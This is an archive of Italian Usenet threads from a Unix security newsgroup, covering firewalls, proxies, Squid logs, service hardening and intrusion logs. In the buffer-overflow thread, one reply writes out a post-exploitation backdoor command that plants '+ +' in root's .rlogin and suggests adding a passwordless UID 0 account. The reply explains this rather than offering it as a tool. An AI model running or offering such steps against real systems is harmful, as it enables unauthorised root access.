mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.sicurezza.unix
Titolo: OT: vendo libri

Ciao a tutti, chiedo scusa per l'OT.
Vendo i seguenti libri : 
- "Apache: la guida" -  Ben e Peter Laurie
nell'edizione italiana di Apogeo (tradotto su licenza O'Reilly)
con CD-ROM allegato.
Il prezzo di copertina e' di 30,47 euro. Io ne chiedo 20. 
Il libro e' a tutti gli effetti nuovo. Vendo causa inutilizzo.
- "Practical UNIX & Internet Security" - 2nd edition - Garfinkel e
Spafford, nell'edizione inglese originale di O'Reilly. 
Il prezzo di copertina e' di 44.95 dollari. Io chiedo 36 euro.
Anche questo e' a tutti gli effetti nuovo. Vendo causa inutilizzo.
- "TCP/IP Network Administration - 3rd edition - Craig Hunt
nell'edizione inglese originale di O'Reilly. 
Il prezzo di copertina e' di 44.95 dollari. Io chiedo 38 euro.
Ne ho letto un terzo, ma e' perfetto, oltre che molto bello. Vendo
causa inutilizzo.
Consegna solo manuale a Bologna/Ravenna, non spedisco.
Contatti preferibilmente via email.
Ciao,
	Davide

 causa inutilizzo.
Su 
amazon.com
 viene 37.02€ *nuovo*.
Presso uno dei rivenditori associati ad amazon viene 31.56€.
Su 
amazon.co.uk
 nuovo viene 38.11€ al cambio di oggi (che poi è quello di
ieri).
Tutti prezzi sono compresi di spese di spedizione e senza considerare
eventuali sconti (ad esempio al primo acquisto su 
amazon.co.uk
 ti scontano
3£ pari a poco più di 4€).
Secondo me dovresti rivedere i prezzi al ribasso.
-- 
Saluti,
Cristiano
"Io la farei anche girare l'economia italiana, se non fosse che l'economia
italiana fa girare le scatole a me!!!"

Secondo me dovresti rivedere i prezzi al ribasso.
mi pare ragionevole.... oppure me li tengo... considerato che i
cambiamenti della terza edizione del primo libro sono marginali e che
il secondo e' sempre una bella guida di riferimento da tenere in
ufficio....   :-)))
toglimi una curiosita': ma tu saresti stato interessato ai libri ad un
prezzo inferiore ?
Ciao
Davide

 prezzo inferiore ?
No, volevo solo informare eventuali acquirenti delle alternative che ci
sono.
Poi uno può acquistarli dove e come meglio crede, ma almeno non può dire "se
l'avessi saputo prima..."


 libro a 2.99$), probabilmente č abbastanza affidabile.
Io ho comprato alcune decine di libri usati da diverse fonti, senza
disavventure.
 
-- 
Stefano

l'avessi saputo prima..."
ti ho risposto in email, direi di chiudere qui l'OT
D.

Newsgroup: it.comp.sicurezza.unix
Titolo: ping e banda

Ciao
esiste qualche "formula" matematica che sia in grado di associare i
risultati di un ping verso il primo hop successivo al proprio apparato
e la banda disponibile? anche a grosse linee?
Insomma, se il ping da' 1000ms quanta banda ho? e se il ping e' di
100ms?
Ovviamente escludendo ogni tipo di filtro degli ICMP...
Grazie

 e la banda disponibile? anche a grosse linee?
buona lettura:
http://www.caida.org/tools/utilities/others/pathchar/
-- 
Cristiano Deana, Biella.
Membro del G.U.F.I., Gruppo Utenti FreeBSD Italia
http://www.GUFI.org/
 && 
http://utenti.gufi.org/~cris/
ML gufi: 
http://liste.gufi.org/
 && Search: 
http://www.gufi.org/GUFI/cerca
Newsgroup: it.comp.sicurezza.unix
Titolo: Aiutoooo...

Ho urgenza di formattare l'hard disk, ma non voglio perdere lo stato
delle mie news (l'iscrizione a tutti i miei newsgroup, i messaggi letti
etc...).
Possiedo il Netscape Communicator 4.02 Professional e vorrei sapere cosa
devo salvare oltre alla directory NEWS che si trova nelle sottodirectory
del programma. Ho già provato copiando solo la suddetta directory su un
sistema ma non funziona. COME DEVO FARE???
Aiutatemi vi prego e... grazie in anticipo.

 sistema ma non funziona. COME DEVO FARE???
Salva l'intera directory del profilo utente.
Intanto e` uscita la versione di Communicator 4.03 in francese...
-- =
-------- Netscape Communicator 4.01 =
Ciao,
Giovanni.
mailto:
Giovann...@mail.nauta.it
 	   =
http://members.tripod.com/~depoi
		Where do you want to crash today?

Newsgroup: it.comp.sicurezza.unix
Titolo: Servizi al boot

Salve, e' la prima volta che posto. Uso Linux 2.2.12 - RH60. Quali sono
i
servizi minimi indispensabili che dovrei lanciare al boot per essere
sicuro al 100% o quasi di non essere "bucato" mentre navigo?
-- 
http://carlogbb.freeweb.org
Linux Registered User #135192

sicuro al 100% o quasi di non essere "bucato" mentre navigo?
dai un'occhiata al Security-HOW-TO
bye
-- 
     #@@@ missinglink on slackware 7.1 ###
     ####       member of telug        #@@
 

 Linux Registered User #135192
Praticamente nessuno.
Se il tuo PC lo usi solo per collegarti ad internet e non fai parte di
una rete puoi tranquillamente disattivare tutti i servizi (o quasi).
Ad esempio, puoi fare un 'netstat -a' e guardare quali sono le porte
aperte.
Supponiamo che le porte aperte siano:
- 21 (ftp)
- 23 (telnet)
- 25 (smtp)
- 79 (finger)
- 110 (pop3)
- probabilmente qualcos'altro...
A questo punto devi pensare:
- Ho un server FTP? No -> elimina FTP
- Ho un server di posta? No -> elimina POP3 e SMTP
- ecc.
Oppure puoi tenere tutto attivo (per un tuo uso personale) e installare
un firewall...
Ciao!

sicuro al 100% o quasi di non essere "bucato" 
Per i servizi che sono sotto inetd, puoi usare tcp_wrappers per
limitarne l'accesso, ad esempio consentendolo solo da 127.x.x.x, questo
ti mette al riparo da qualsiasi problema visto che in questo caso non è
possibile spoofing (se ho capito quanto scritto nei sorgenti del kernel,
file route.c). 

sicuro al 100%
non lanciare redhat 6.0 :)

Quale distrubuzione mi consigli? Dove me la posso procurare?
Grazie a tutti per le risposte :-)

Newsgroup: it.comp.sicurezza.unix
Titolo: Non avere root in /etc/passwd

In un ambiente chroottato opterei per non includere nemmeno l'utente 
root nel file /etc/passwd . Cosa ne pensate dal punto di vista della 
sicurezza? Uguale che definire un utente root con password * e shell 
/bin/false ? Oppure peggiore? Oppure migliore?

luna...@pianetario.xxx wrote:

Del tutto uguale, e in più ti incasinerà sicuramente qualche programma.
-- 
ciao, | The Internet is full. Go away.  -- Joel Furr      | #156856496
Marco | (Ri)scoprire fidonet: 
http://bbs.bofh.it/
         | 
m...@jabber.linux.it

"Lunatico" <luna...@pianetario.xxx> ha scritto nel messaggio
news:MPG.1ba3c68a...@news.tin.it...

Credo che sia uguale se non peggiore (all'utenza root sono associate molte
librerie, directory e binari). La sicurezza non è eliminare l'utenza "root"
(ovvero UID=0) ma quello che gli sta intorno, ovvero le applicazioni.
Un buon controllo di quello che si installa, gli accessi controllati
(firewall, packet filter, IDS a livello rete), buona politica delle password
etc etc sono aspetti da applicare...
Jul
Newsgroup: it.comp.sicurezza.unix
Titolo: Firewall IPCOP

Ho una rete di 40 PC cn un server linux su cui č installato il firewall IPCOP.
Non conoscendo come settare il programma, vorrei gentilmente sapere dove
č 
possibile ottenere del materiale (possibilmente in italiano) che mi permetta
di 
settare il mio firewall.
Inoltre vorrei sapere come č possibile settare il firewall  in modo da vedere
il 
tarffico uscente dei miei PC verso l'WEB.
Grazxie mille.
-----
Msg posted via: 
http://www.TechEye.it

 il tarffico uscente dei miei PC verso l'WEB.
Abiliti il transparent proxy, quindi:
/var/log/squid/access.log
Verifica prima le eventuali implicazioni sulla legge sulla privacy.
Ciao
Luca
-- 
Luca Sasdelli
Microsoft MVP - Security, Networking, Windows NT/2000/XP
http://mvp.support.microsoft.com
IDRCI Italia - 
http://www.idrci.it
 - 
http://forum.idrci.it
CHX-I, CHX-I NAT Stateful Packet Filter

Grazie Luca, ma sul sito non c'č materiale molto esaustivo!
Esiste solo una guida all'istallazione del prodotto e una di configurazione
che mi 
descrive, a grande linee, le varie voci di tutto.
Grazie di nuovo della dritta e buona giornata.

 che mi descrive, a grande linee, le varie voci di tutto.
Che info specifiche ti occorrono?
Considera anche i link unofficial riportati sul sito.


Luca
Mi servirebbero notizie di qualsiasi genere per settare in modo ottimale
tutte le 
opzioni del firewall. Ma visto che non so cosa andare a toccare, per non
bloccare 
la rete aziendale, vorrei avare qualcosa che mi descriva nei particolari
le varie 
opzioni.
Ora provo i siti non  ufficiali, grazie ancora!!!!


 tutte le opzioni del firewall.
Questo dipende dai servizi che devi pubblicare.
Se non ne hai nessuno, e la connessione serve soltanto alla navigazione 
internet, devi controllare di non avere nulla di impostato nella pagina 
Services / Port forwarding.
Invece, se devi pubblicare server pubblici, dovrai aprire le relative 
porte associate agli IP delle macchine interessate. Esempio:
un mailserver in DMZ con IP 172.16.0.50
-> Destination port 25, Destination IP 172.16.0.50
un webserver sulla LAN con IP 192.168.1.100
-> Destination port 80 (e 443), Destination IP 192.168.1.100
e cosi' via.
Nella pagina System / Intrusion detection system, verifica che Snort sia 
abilitato. Cos' come System / SSH per l'accesso a linea di comando.
Se devi monitorare gli accessi ad internet, pagina Services / Web proxy, 
abilita le checkbox Enabled e Transparent; le letture le avrai 
collegandoti in SSHv2 sulla porta 222 dell'IP del firewall, leggendo il 
file /var/log/squid/access.log. Mi raccomando la privacy: nel caso, fai 
firmare a tutti i monitorati una circolare con la quale si informa che 
viene analizzata la navigazione internet.
La release ufficiale attuale e' 1.3.0 fix 8. Periodicamente controlla 
nella pagina System / Updates se ci sono nuove fix.
La 1.4.0 e' imminente e avra' parecchie novita'.

Newsgroup: it.comp.sicurezza.unix
Titolo: OpenBSD pf +ADwAPQA9AD0APg- Linux netfilter

Ciao, fin'ora ho sempre usato il pf di openbsd 3.0 ma vorrei avvicinarmi a
iptables
Mi chiedevo se in iptables (netfilter) esiste una funzione di stateful
ispection.
In altre parole sul pf di openbsd posso dire "fai passare solo il pacchetto
SYN e poi mantieni memoria e autorizza i pacchetti di tale connessione tcp"
con un "flag S keep state". Su netfilter si puo' fare qualcosa del genere?
Addirittura openbsd fa da stateful ispection anche  coi pacchetti udp,
questo è per me molto importante perche' in mancanza di una funzione del
genere mi toccherebbe aprire in ingresso a tutti i pacchetti udp aventi come
porta origine la 53 e come porta destinazione qualsiasi mia porta non
privilegiata, per poter ricevere le risposte dai dns.
Posso tenere memoria di cio' che esce e autorizzare l'entrata dei pacchetti
di risposta, così come col pf di openbsd c'è la funzione "keep state"?
Grazie

scusate per l'unicode mi era rimasta la codifica impostata
sorry

 '-keep state'?
E' la stessa domanda :)
Fabio

 ha scritto nel messaggio
news:MPG.1829cbcae...@powernews.libero.it...
| > Mi chiedevo se in iptables (netfilter) esiste una funzione di stateful
| > ispection.
|
| Si, ma il connection tracking e' un po' piu' semplificato rispetto
| aquello di pf. Per avere lo stesso connection tracking che hai con
| pf devi installare una patch (tcp-window-tracking).
grazie della risposta... anche se sono indeciso a questo punto se cambiare o
no...

 cambiare o no...
Considera che netfilter e' un po' piu' complesso da configurare ma 
ha anche molte feature in piu' di pf (e poche in meno). La diversa
implementazione del conntrack potrebbe non essere un problema. Non
dimenticare che, comunque, e' sempre possibile applicare la patch.
Ti direi di cambiare se:
- sei curioso;
- ti servono feature di netfilter non presenti in pf;
- non usi produttivamente feature di pf non presenti in netfilter;
- ne hai voglia e non ti frega niente del perche'.
Fabio

Newsgroup: it.comp.sicurezza.unix
Titolo: S.O.S. - SOLIDARIETA' MALDIVE

-- 
Vi interessano le spiagge assolate?
Avete sempre sognato una vacanza indimenticabile?
Siete affascinati dai paesi esotici?
bene...NON ANDATE IN VACANZA NELLE MALDIVE!!!!!!!!!
Qui tutto si può trasformare in un incubo!!!
Visitate questo sito e aiutateci a tornare a casa.
http://www.softmedia.it/sosergastolo
Grazie per la collaborazione.
Stefano e Davide

In un messaggio del 12 Jan 1997 16:52:28 GMT Gianluca Ponzano scriveva:
 > Vi interessano le spiagge assolate? Avete sempre sognato una vacanza
 > indimenticabile? Siete affascinati dai paesi esotici? 
 > bene...NON ANDATE IN VACANZA NELLE MALDIVE!!!!!!!!! Qui tutto si può
 > trasformare in un incubo!!! 
Posso capire la solidarieta', ma postarlo selvaggiamente anche nei newsgroups
Unix mi sembra esagerato, non credi ? Certo che ve ne fregate di controllare
dove mandate la roba che scrivete...
-- 
Ciao. Pierluigi (mithr...@Lothlorien.org).
|-> e-mail: 
pde...@mbox.vol.it
 / 
pierluig...@giuda.deis.unical.it
 <-|
Newsgroup: it.comp.sicurezza.unix
Titolo: Buffer overflows e root da remoto

Salve a tutti,
volevo sapere una cosa sugli exploit...
mettiamo che su un server stia girando linux + sendmail (o quello che
volete per fare da server smtp). mettiamo che la versione sia
vulnerabile ad un buffer overflow. l'attacker lo esegue... il
programma va in segmentation fault. perche' si guadagnano privilegi da
root ? perche' non succede qualsiasi altra cosa ?! ho le idee un po'
confuse ... (?)
Altra cosa sui buffer overflow. quando si va a sovrascrivere
l'indirizzo di ritorno, lo si sovrascrive con un indirizzo casuale o
lo si fa saltare con un jmp ad una locazione di codice dove e' stato
precedentemente posto (in che modo poi ?) il codice arbitrario da
eseguire ? scusate per le idee poco chiare ma i paper sui buffer
overflow che ho letto erano in inglese... il senso delle frasi lo si
capisce subito, il problema e' capire i particolari... ;)
comunque sia, approfittando di questo post volevo chiedere anche
un'altra cosa. (giuro, e' l'ultima ! ;) )
So che esistono vari os' che non hanno il concetto di utente root e
utente normale. sulle varie versioni di linux non si potrebbe mettere
un semplice controllo su chi riceve i privilegi di root ?
ad es., voglio che l'utente root possa accedere solo da locale, mai da
remoto. esiste qualcosa del genere ? (in caso negativo, ho trovato
come esercitarmi un po' col C++... ;))
Grazie in anticipo,
korleon
-- 
cp win3.1 winxp
rm -r doors_,_windows_&_gates
mv gates out_of_windows
mv $$$ antitrust_judge

 remoto. esiste qualcosa del genere ? 
beh, questo esiste gia' (mi pare in /etc/security/access.conf, sulla
debian, ci siano i settaggi opportuni)
Tuttavia ti faccio presente che questo metodo e' relativo soltanto al
metodo di autenticazione e ai singoli programmi che ne fanno uso. Un
processo SUID root che venga exploitato per ottenere una root shell non
puo' essere controllato a tale livello; la root shell naturalmente non
usa metodi di autenticazione!
Ti faccio altresi' notare che immettendo codice in un altro processo,
non sono costretto a tutti i costi ad aprire una shell remota, e'
possibile anche semplicemente eseguire un echo "+ +" > /root/.rlogin
(posto che il sysman utOnto abbia installato rlogin, of course) oppure
modificare /etc/passwd per avere una login UID 0 senza password...
Insomma, le vie della r00t shell sono infinite...
Uno dei metodi per pararsi dal buffer overflow nello stack e' quello di
utilizzare un segmento stack non eseguibile (in questo senso funziona
una patch per il kernel di cui pero' non ricordo ora il nome, e che non
ho provato.) 
HappyCactus
-- 
Keyboard not present or keyboard error
Press F1 to resume
Newsgroup: it.comp.sicurezza.unix
Titolo: mount e tcd

ciao ciao..
ho un dubbio:
un utente normale NON puo' montare fs, giusto? [sudo, su, suid ecc a parte]
ma allora come fa tcd e altri programmi di ascolto di CD musicali
a farlo?
mi e' venuto il dubbio usando grip, che appunto ha bisogno dei permessi
di root per funzionare.
sembra OT ma non lo e' :)
ciao
fritz

 writes:
f> un utente normale NON puo' montare fs, giusto? [sudo, su, suid ecc a
f> parte]
Il mount di Linux consente anche di specificare se una partizione (locale o
remota) puo` essere montata da un utente normale (opzione "user" in fstab).
f> ma allora come fa tcd e altri programmi di ascolto di CD musicali
f> a farlo?
I CD audio non si montano: non  c'e` un file system sopra. Si accede invece
direttamente  al device  (/dev/cdrom o  quel  che e`)  mediante le  ioctl()
dedicate ai CD e lo si  pilota direttamente: basta avere i normali permessi
UNIX per farlo (lettura/scrittura).
f> mi e' venuto il dubbio usando grip, che appunto ha bisogno dei permessi
f> di root per funzionare.
Non conosco  grip, per cui  non so perche'  necessiti dei permessi  di root
(alcune operazioni richiedono comunque certi privilegi).
Saluti,
Luca Polo.
-- 
 / Luca Polo : 
Luca...@gest.unipd.it
 || Dipartimento di Tecnica e        \
|  System & network administrator      || Gestione dei Sistemi Industriali  |
 \ 
http://www.gest.unipd.it/~jake
      || Universita` di Padova -- Italy   /

Luca Polo <Luca...@gest.unipd.it.remove-this> wrote:
LP> Il mount di Linux consente anche di specificare se una partizione (locale o
LP> remota) puo` essere montata da un utente normale (opzione "user" in fstab).
ah... questo non lo sapevo
LP> I CD audio non si montano: non  c'e` un file system sopra. Si accede invece
LP> direttamente  al device  (/dev/cdrom o  quel  che e`)  mediante le  ioctl()
LP> dedicate ai CD e lo si  pilota direttamente: basta avere i normali permessi
LP> UNIX per farlo (lettura/scrittura).
capito, quindi nulla legato al mount
dubbio risolto :)
LP> Non conosco  grip, per cui  non so perche'  necessiti dei permessi  di root
LP> (alcune operazioni richiedono comunque certi privilegi).
probabilmente per come riesce a rippare una traccia audio, non e' un solo una
semplice lettura.. 
grazie.
ciao
fritz

Newsgroup: it.comp.sicurezza.unix
Titolo: proxy

Qualcuno mi saprebbe spiegare come posso connettermi a internet tramite un
server proxy ? Ora ho una connessione tramite TISCALINET  di Roma.
Grazie.
TANGO



Questa non è proprio una domanda attinente al newsgroup comunque basta
inserirlo nelle opzioni del tuo browser: se ti servono altre
informazioni mailami direttamente senza postare sul newsgroup..
Ciao Spell
Newsgroup: it.comp.sicurezza.unix
Titolo: Bug explorer, netscape, outlook...

Salve a tutti.
Sto preparando una tesina sui bug più o meno noti dei principali browser
(explorer, netscape, opera, ecc...) e programmi di posta (outlook, netscape,
eudora, sendmail, pine, ecc...) sia di windows che di linux. Finora
purtroppo non ho trovato molte informazioni, qualcuno potrebbe indicarmi
dove trovare materiale, siti, articoli, pubblicazioni o quant'altro che
tratti di problemi ai browser e programmi di posta?
Grazie mille per l'aiuto!

 si avvicino` a me, e solennemente disse: 

http://www.securityfocus.org
http://www.iss.net
Adieu,
-- 
Lestat de Lioncourt                               |          Ciro Mattia Gonano
  JabberID: 
les...@jabber.students.cs.unibo.it
    |    Undergraduate Student in
  ICQ#: 52631406                                  |         Computer Science at
  URL: 
http://www.CS.UniBO.It/~gonano
             |       University of Bologna
          <powered by Linux Slackware 8.1-rc2 on Kernel 2.4.18-xfs>

Newsgroup: it.comp.sicurezza.unix
Titolo: Squid !!!

Salve a tutti, come monitorizzo gli accessi che passano del servizio
squid in tempo reale ?????
Grazie Mille a tutti.
By Mario Machine'
E-MAIL: 
mar...@dinamica.it



 squid in tempo reale ?????
tail -f /var/log/squid/access.log (o altro percorso dove gli hai detto
di loggare)
ciao,
marco

tail -f access.log

Newsgroup: it.comp.sicurezza.unix
Titolo: exploit per vsftpd?

Salve! Dovrei installare un server ftp e ho optato per vsftpd,
perchč...boh... perchč mi sta simpatico... :)
Ci sono bug e exploit conosciuti su vsftpd 1.2.0?
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

Ci sono bug e exploit conosciuti su vsftpd 1.2.0?
No, infatti è noto per essere il server FTP più sicuro.
-- 
ciao, | The Internet is full. Go away.  -- Joel Furr      | #156856496
Marco | (Ri)scoprire fidonet: 
http://bbs.bofh.it/
         | 
m...@jabber.linux.it

> No, infatti č noto per essere il server FTP piů sicuro.
Azz! Mitico, grazie!

Newsgroup: it.comp.sicurezza.unix
Titolo: DLAB: Scuola per progettisti di software interattivo

T I   P I A C E   P R O G R A M M A R E ?
No, mi piace pero' far segare i domini a chi non legge la netiquette.
Segnalate questi deficienti...
-- 
HappyCactus - Registered Linux User #209744
http://utenti.tripod.it/happycactus
Cannot delete files, disk full. Try to delete some file.

 Segnalate questi deficienti...
Hei, spinoso felice, ti stai thorinizzando, l'hai notato? :-)
Ancora un po', e spunteranno come funghi i post dei soliti, periodici
"avvocati del diavolo", ma con te come bersaglio.
PS: hai ragione, ovviamente.
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

"avvocati del diavolo", ma con te come bersaglio.
Ok, allora setto il thread come ignore... :)
HappyCactus che quando ci vuole, ci vuole...


 Segnalate questi deficienti...
Deficenti è un complimento..
-- 
PGP FP: B61A F1FA 9B99 A3BD 5D2B 6D99 8D3A 5C92 3525 3509

 "avvocati del diavolo", ma con te come bersaglio.
Beh almeno potro' respirare un po'...
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

Beh almeno potro' respirare un po'...
Mors tua, vita mea, eh? ;)
Con me cascano male, pero'! non ho la vocazione per i flames...


 Con me cascano male, pero'! non ho la vocazione per i flames...
De gustibus.. ogni tanto serve a passare il tempo ;-)


 Segnalate questi deficienti...
Li ho appena segnalati, anche oggi hanno spammato su tutti gli NG!
-- 
PGP FP: B61A F1FA 9B99 A3BD 5D2B 6D99 8D3A 5C92 3525 3509
www.x-planet.org

Li ho appena segnalati, anche oggi hanno spammato su tutti gli NG!
Li ho segnalati a abuse(at)
libero.it
 con CC: a abuse(at)
infostrada.it
(chi mantiene il dominio) e a abuse(at)
tin.it
 (l'indirizzo email del
FROM)
Mi han risposto quelli di libero, segnalando che dovevo inviare gli
header completi e nessun allegato. Il fatto e' che inline era
riportato il mio messaggio originale, forwardato loro da quelli di
infostrada... Speriamo che abbiano capito che lo spammer non ero io!
HappyCactus e il vortice del mattino


 infostrada... Speriamo che abbiano capito che lo spammer non ero io!
nutro dubbi.....tediosi dubbi :)
-- 
PGP FP: B61A F1FA 9B99 A3BD 5D2B 6D99 8D3A 5C92 3525 3509
Caccia Carlo of 
www.x-planet.org
Newsgroup: it.comp.sicurezza.unix
Titolo: testare un proxy

vorrei sapere se esiste un programma, od uno script unix che permetta di testare
una lista di proxy server, in modo da scartare quelli inattivi...
farlo a mano e' un po' lunga....  :-)

Nicola Bianchi wrote:

Se sei in grado di farlo a mano, qual'è la difficoltà di scrivere uno
script che ripete l'operazione per n indirizzi? Oppure quando dici "a
mano" intendi andare fisicamente sul proxy e vedere se è su? :-)
PS: comunque i proxy attivi *per* *te* non dovrebbero essere molti. A
meno che tu non voglia cercare qualche socks incautamente aperto *anche*
per te per scopi che non voglio neanche sapere. In tal caso ti consiglio
volentieri la lettura degli RFC1928 e 1929 (per la serie: se tu avessi
veramente bisogno il programmino te lo farei in cinque minuti, ma per
fare le birichinate è giusto che tu duri un po' di fatica).
-- 
Vincent

Mi associo.
DJ.
P.s. Distruggere è facile. Far funzionare tutto è altra classe.


script che ripete l'operazione per n indirizzi? Oppure quando dici "a
veramente intendevo impostarlo in lynx.........
non ho la piu' pallida idea ne' di come farlo da prompt unix ne' da altri
programmi.
piuttosto, come funge un proxy ?
per favore non ditemi piu' di leggermi gli RFC, sono un guazzabuglio
incredibile.

 incredibile.
Gli RFC te li avevo consigliati per fare il programmino di test come
avevi chiesto nel messaggio originale (lo avevi scritto tu?).
-- 
Vincent

vorrei sapere se esiste un programma, od uno script unix che permetta di =

Newsgroup: it.comp.sicurezza.unix
Titolo: Intrusione

Hi All,
        ieri sera, ho provato a collegarmi in IRC (
irc.flashnet.it
) da Linux
(ovviamente non da root!!) dato che in un thread attuale si diceva che nel
canale #
linux.it
 non c'era nessuno (ed io dicevo che era sempre e solo ad
invito).
Infatti è ancora ad invito. Cmq, mentre facevo delle prove, guardate cosa ho
loggato:
Nov 5 01:48:50 eric in.intruderdetector[545]: refused connect from
213.56.40.17
Nov 5 01:48:50 eric in.ftpd[546]: refused connect from 213.56.40.17
Nov 5 01:48:50 eric in.telnetd[548]: refused connect from 213.56.40.17
Nov 5 01:48:55 eric sendmail[547]: NOQUEUE: Null connection from
d-40-17.mop.ftci.oleane.com
 [213.56.40.17]
Intruder detector è uno script che avevo creato tempo fa sulla base di un
articolo del Pluto Journal (non ricordo quale). Fatto sta che ha funzionato,
ovvero ha loggato l'ip del lamer che stava scannando la rete in cerca di un
computer da bucare.
Solo per capirne di più, cosa può essere successo di preciso? Io per
precauzione (non ho ancora configurato per bene la mia linux box dal punto
di vista della sicurezza) ho chiuso la connessione non appena ho visto
questo mex (ho fatto in modo da redirigere i log su tty10 in modo da vedere
quando voglio e in fretta cosa succede sul mio pc).
Se volessi risalire all'ip del lamer come potrei fare?
P.S. E' la terza volta che posto questo mex, ma non lo vedo mai...come
faccio a sapere se qualcuno me lo ha cancellato?
-- 
    .--.    PeNgUiN InZiDe!! 
   |o_o |   E-mail: farnis(chiocciolina)
libero.it
 
   |:_/ |    Fiat 500 Web Site: 
http://www.poli.studenti.to.it/~f.sirna
  //   \ \    Fiat 500 Mailing List: 
fia...@onelist.com
 (|     | )  
/'\_   _/`\  Farnis is on a Compaq Contura Aero 486Sx/25,4MB,170HD
\___)=(___/   with Linux Debian 2.0 (Kernel 2.0.37)
 

Infatti il canale e' sempre #linux-it 
Era un errore di battitura...cmq è sempe ad invite-only...



d-40-17.mop.ftci.oleane.com
 [213.56.40.17]
Ogni volta che entri in un canale su IRC vieni scandagliato per
vedere se la tua macchina offre qualche servizio (socks, telnet,
smtp) o se hai preso qualche virus del tipo backorifice
Ormai è prassi normale.
stefano

 Ormai è prassi normale.
Non e' esattamente corretto... il 90% di quelli che fanno queste
cose non cercano buchi telnet o smtp su macchine UNIX ma sono lamer
o script kiddies con i loro WinBug 9[58] cercano macchine WinBug
9[58] con i server NetBus o BO installati. Non sono all'altezza di
entrare da un buco di wu-ftpd per intenderci, sono troppo stupidi.
Per esempio un PC Linux che abbia un hosts.deny configurato al minimo
della decenza (ALL EXCEPT identd : ALL EXCEPT localhost) e' gia'
abbastanza protetto da tali lamer. Cio' non significa che ci si debba
sentire al sicuro ed una ulteriore letteratura non fa mai male.
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *
Newsgroup: it.comp.sicurezza.unix
Titolo: securing vs hardening

Salve, sto traducendo in italiano alcune pagine web del sito di debian,
in una di esse c'e` un abstract di un manuale sulla sicurezza contenente
i 2 termini in oggetto (la frase e`:"This manual describes the process
of securing and hardening ..."). Avevo letto da qualche parte la
definizione di questi due termini ma non me la ricordo :-( mi e` stato
suggerito di tradurli come "rendere sicuro" e "rendere robusto" ma una veloce
lettura del manuale mi ha lasciato della mia opinione che siano 2
termini tecnici indicanti 2 diversi approcci alla sicurezza.
Ho ragione?
Se si, qualcuno ha un'idea su come tradurli concisamente in italiano?
-- 
Saluti    Johan Haggi
ante diem tertium Idus Iunias MMDCCLV ab urbe condita
Misura *antispam*: il mio indirizzo *non* e` alterato, ma e` valido
*solo* fino al 31 agosto 2002

 italiano?
beh, io l'ho sempre vista come:
securing -> mettere in sicurezza un sistema usando le risorse proprie
di quel sistema.. cioe` killare le cose non utilizzate, bindare le
applicazioni che devono ascoltare solo in locale e cose cosi.. senza
ausilio di cose esterne, come un firewall (software o hardware), etc.
hardening -> avviene dopo il securing ed e` un passo avanti, con
l'ausilio di cose esterne si irrobustiscono le politiche di sicurezza
gia presenti.. un firewall, ACL e cose che tendano ad evitare i danni
portati dal crash di una applicazione (exploit, etc) o che addirittura
tendano ad evitare problemi noti come i buffer overflow, etc
comunque penso che tradotte come "rendere sicuro" e "rendere robusto"
vadano bene.. magari "temprare" o "rafforzare" per hardening sarebbero
piu vicine a quello che vuol dire in realta` (to harden = indurire,
temprare, irrobustire, rafforzare)
-- 
-andreas liebschner
 
http://www.distorta.info
rimuovi .NOSPAM per rispondermi in email
Newsgroup: it.comp.sicurezza.unix
Titolo: Firewall e proxy trasparente.



Salve a tutti.


Ho un problema nel configurare un firewall con proxy trasparente.


Attualmente la mia rete è così formata:


+----------+


| INTERNET |


+-----+----+


      |


+-----+----+


| ROUTER   |


+-----+----+


      |


+-----+----+


| LAN INT. |


+----------+


Il router/gateway ha indirizzo IP a.b.c.1 di classe C pubblica e
la LAN interna ha indirizzi IP appartenenti alla stessa classe.


Ora vorrei installare tra il router e la lan interna un firewall/proxy
trasparente senza dover però cambiare la configurazione delle workstation
all'interno della lan, ossia non vorrei cambiare la configurazione del
gateway.


Così ho installato un firewall con due ethernet con sistema
operativo Linux e kernel 2.2.17


Ho abilitato l'ip forwarding tramite il filesystem /proc (echo
1 > /proc/sys/net/ipv4/ip_forward e ho configurato le schede nel modo seguente:


eth0 (scheda di rete dal lato della lan interna)


IP=a.b.c.4


NETMASK=255.255.255.0


NETWORK=a.b.c.0


BROADCAST=a.b.c.255


eth1 (scheda di rete lato Internet)


IP=a.b.c.2


NETMASK=255.255.255.252


NETWORK=a.b.c.0


BROADCAST=a.b.c.3


GATEWAY=a.b.c.1


Dopo aver così configurato le schede ho settato gli ARP per
entrambe in questo modo:


arp -v -i eth0 -Ds a.b.c.1 netmask 255.255.255.255 eth0 pub


arp -v -i eth0 -Ds a.b.c.2 netmask 255.255.255.255 eth0 pub


arp -v -i eth1 -Ds a.b.c.4 netmask 255.255.255.255 eth1 pub


arp -v -i eth1 -Ds a.b.c.5 netmask 255.255.255.255 eth1 pub


...


arp -v -i eth1 -Ds a.b.c.255 netamsk 255.255.255.255 eth1 pub


Dopo aver configurato tutto in questo modo installo la macchina
e non funziona. Qualcuno sa dirmi gentilmente dove sbaglio?


Vi ringrazio in anticipo per l'aiuto.


Lorenzo







Ciao Lorenzo io non ho una soluzione al tuo 
problema ma ho un problema da risolvere molto simile...


Tra il router e la "mia" lan devo inserire ISA 
server, che è il nuovo proxy/firewall della microsoft.


Mi chiedo come procedere, visto che l'unico 
indirizzo pubblico è quello che ha attualmente il router...


Spero di avere una risposta da te o da chiunque 
possa darmi un suggerimento


Grazie




sosa diavolo c'entra ISA server con sicurezza.unix?
e poi non postare in HTML
ciao,
marco
Newsgroup: it.comp.sicurezza.unix
Titolo: Apache e la 80

Salve a tutti,
uso linux da un pò d anni ormai ma solo in questi giorni mi sono deciso
ad installarlo come
server e non come workstation. Ho utilizzato la debian 2.2 su un 486 dx
100 che non usavo più.
Per prima cosa ho deciso di configurare un web server, ho scelto apache.
Dopo aver settato i vari file di configurazione ho fatto partire il
tutto così :
$ apachectl start
ma alla prova del nove ecco cosa è successo :
  SoundGarden:~# lynx 
http://localhost/
  [..]
  Looking up localhost
  Making HTTP connection to localhost
  Sending HTTP request.
  HTTP request sent; waiting for response.
